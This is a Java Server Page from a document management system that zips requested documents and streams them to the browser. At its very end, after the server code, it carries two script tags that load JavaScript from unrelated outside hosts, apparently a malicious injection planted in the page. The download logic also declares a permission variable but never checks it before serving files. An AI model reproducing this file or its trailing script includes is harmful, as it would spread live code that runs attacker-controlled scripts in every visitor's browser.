<%
/*
 * @(#)FileDownload.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FileDownload.jsp
  This class is used to retrieve the document content from http
  @author          Weison Liang
  @company         DCIVision Limited
  @creation date   24/12/2004
  @version         $Revision: 1.7.4.1 $
*/
%><%@ page contentType="text/html;charset=UTF-8"%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="java.net.URLDecoder"
%><%@page import="javax.sql.*"
%><%@page import="java.util.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.dms.*"
%><%@page import="com.dcivision.dms.bean.*"
%><%@page import="com.dcivision.dms.core.*"
%><%@page import="com.dcivision.dms.dao.*"
%><%@page import="com.dcivision.alert.bean.*"
%><%@page import="com.dcivision.alert.core.*"
%><%@page import="com.dcivision.audit.*"
%><%@page import="com.dcivision.audit.bean.*"
%><%@page import="com.dcivision.audit.core.*"
%><%@page import="org.apache.struts.action.Action"
%><%@page import="java.util.zip.CheckedOutputStream"
%><%@page import="org.apache.tools.zip.ZipOutputStream"
%><%@ page import="org.apache.commons.logging.LogFactory"
%><%@ taglib uri="/tags/struts-html" prefix="html"
%><%@ taglib uri="/tags/struts-bean" prefix="bean"
%><%@ taglib uri="/tags/struts-logic" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
// Retrieval Document ID and its Version ID
String targetID = request.getParameter("targetID");
String version = request.getParameter("version");
String curFunctionCode = (String)request.getParameter("sCurFunctionCode");
Integer versionID = new Integer (1);
boolean isDownload = "Y".equals(request.getParameter("isDownload"));
boolean hasSubDocument = false;
String [] documentID = TextUtility.splitString(targetID,",");
//Retrieval System Log and UpdateAlert info
Integer updateAlertID = TextUtility.parseIntegerObj(request.getParameter("updateAlertID"));
Integer updateAlertTypeID = TextUtility.parseIntegerObj(request.getParameter("updateAlertTypeID"));
Integer updateAlertSystemLogID = TextUtility.parseIntegerObj(request.getParameter("updateAlertSystemLogID"));

String permission="";
Connection conn = null;
try{
conn = DataSourceFactory.getConnection();
InputStream inputStream = null;
InputStream dataStream = null;
DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
DmsRootDAObject dmsRootDAObject = new DmsRootDAObject(sessionContainer,conn);
RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer, conn);
DocumentOperationManager docOperationManager = new DocumentOperationManager(sessionContainer, conn);  

  try {
    String zipfilename = "RelatedDocuments.zip";
    if (zipfilename.indexOf(".") >= 0) {
      zipfilename = zipfilename.substring(0, zipfilename.lastIndexOf("."));
    }
    zipfilename = TextUtility.replaceString(zipfilename, "+", "%20");
    StringBuffer comZipFile = new StringBuffer();
    response.addHeader("Content-Transfer-Encoding", "base64");
    response.addHeader("Content-Disposition", "attachment; filename="+zipfilename+".zip");    //addheader so that filename can auto put into the download dialog box
    response.setContentType("application/x-zip-compressed");                           //set the file type default unrecognized so that other browser can download
    org.apache.tools.zip.ZipOutputStream zos = new org.apache.tools.zip.ZipOutputStream(response.getOutputStream());
    /*
		 *	Update Code Start
		 *	Author				Jim.Zhou
		 *	Date					2006/05/12
		 *	Bug						#5323
		 */
		//zos.setEncoding(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_ZIP_FILE_DEFAULT_ENCODING));
    DocumentRetrievalManager docRetrieval = new DocumentRetrievalManager(sessionContainer,conn);
		zos.setEncoding(docRetrieval.getZipFileDefaultEncode());
		/*
		 *	Update Code End
		 */
		zos.setMethod(ZipOutputStream.DEFLATED);
    for(int i=0;i<documentID.length;i++){
      Integer ID=TextUtility.parseIntegerObj(documentID[i].toString());
	  List list= docOperationManager.getSubDocumentByParentID(ID); 
      if(list.size()>0){
        hasSubDocument = true;   
      }else{
         hasSubDocument = false;   
      }
      DmsDocument dmsDocument=(DmsDocument)docRetrievalManager.getDocument(ID);
      DmsRoot dmsRoot = (DmsRoot)dmsRootDAObject.getObjectByID(((DmsDocument) dmsDocument).getRootID());
   	  String dmsType=dmsRoot.getRootType();
      DmsVersion dmsVersion = (DmsVersion)docRetrievalManager.getTopVersionByDocumentID(ID);
      Integer contentID = dmsVersion.getContentID();
      DmsContent docContent = (DmsContent)docRetrievalManager.getContentByContentID(contentID);
      String converted = (String) URLDecoder.decode(docContent.getConvertedName(), "UTF-8");
      if(!DmsDocument.COMPOUND_DOC_TYPE.equals(dmsDocument.getDocumentType()) && !DmsDocument.PAPER_DOC_TYPE.equals(dmsDocument.getDocumentType())){
         DmsContentStoreHandler contentStoreHandler = null;
         try {
           contentStoreHandler = (DmsContentStoreHandler)Class.forName(SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_CONTENT_STORE_CLASS)).newInstance();
          } catch (Exception e) {
            throw new ApplicationException(DmsErrorConstant.NAME_CONVERTOR_CLASS_NOT_FOUND);
          }
          contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_NAME_PROPERTY, converted);
          String foldersDir = docRetrievalManager.getFoldersDirectories(dmsDocument).toString();
          contentStoreHandler.setProperty(DmsContentStoreHandler.FILE_PHYSICAL_PATH, foldersDir);
          dataStream = contentStoreHandler.readStream();
          inputStream = contentStoreHandler.readStream();
          String fName = DocumentRetrievalManager.getEncodeStringByEncodeCode(dmsDocument.getDocumentName()
              ,SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_ZIP_FILE_DEFAULT_ENCODING));
          org.apache.tools.zip.ZipEntry theEntry = new org.apache.tools.zip.ZipEntry(dmsDocument.getDocumentName());
          try{
            zos.putNextEntry(theEntry);
          }catch(java.util.zip.ZipException ze){
            LogFactory.getLog(this.getClass()).error(ze, ze);
          }
          byte[] buffer = new byte[8192];
          int length = -1;
          inputStream = dataStream;
          while ((length = inputStream.read(buffer, 0, 8192)) != -1) {
            zos.write(buffer, 0, length);
          }
        }else if(DmsDocument.COMPOUND_DOC_TYPE.equals(dmsDocument.getDocumentType()) || (DmsDocument.PAPER_DOC_TYPE.equals(dmsDocument.getDocumentType()) && docRetrievalManager.hasSubDocument(dmsDocument,request))){
           comZipFile=(StringBuffer)docRetrievalManager.getCompoundZip(dmsDocument,request,response);
          File file=new File(comZipFile.toString());
          BufferedInputStream in = new BufferedInputStream(new FileInputStream(comZipFile.toString()));
          try {
            String fName = DocumentRetrievalManager.getEncodeStringByEncodeCode(file.getName()
              ,SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_ZIP_FILE_DEFAULT_ENCODING));
            zos.putNextEntry(new org.apache.tools.zip.ZipEntry(file.getName()));//Update By Jim.Zhou	2006/08/11	Bug	#5979
            int c;
            while ( (c = in.read()) != -1) {
              zos.write(c);
            }
          } catch (Exception cse) {
          } finally {
            //try {} catch (Exception ignore) {} finally { in = null; }
            try {
              in.close();
            } catch (Exception ignore) {} finally {
              in = null;
            }
          }
          file.delete();
        }
      }
      zos.flush();
      zos.close();
    }catch (Exception e) {
      //log.error(e, e);
      throw new ApplicationException(com.dcivision.framework.ErrorConstant.COMMON_FATAL_ERROR, e);
    }finally {
		try {
			if(inputStream!=null)
              inputStream.close();
      } catch (IOException ignore) {
        inputStream = null;
      }
      
    }
    
}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
}finally{
  conn.close();
  conn=null;
}

%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>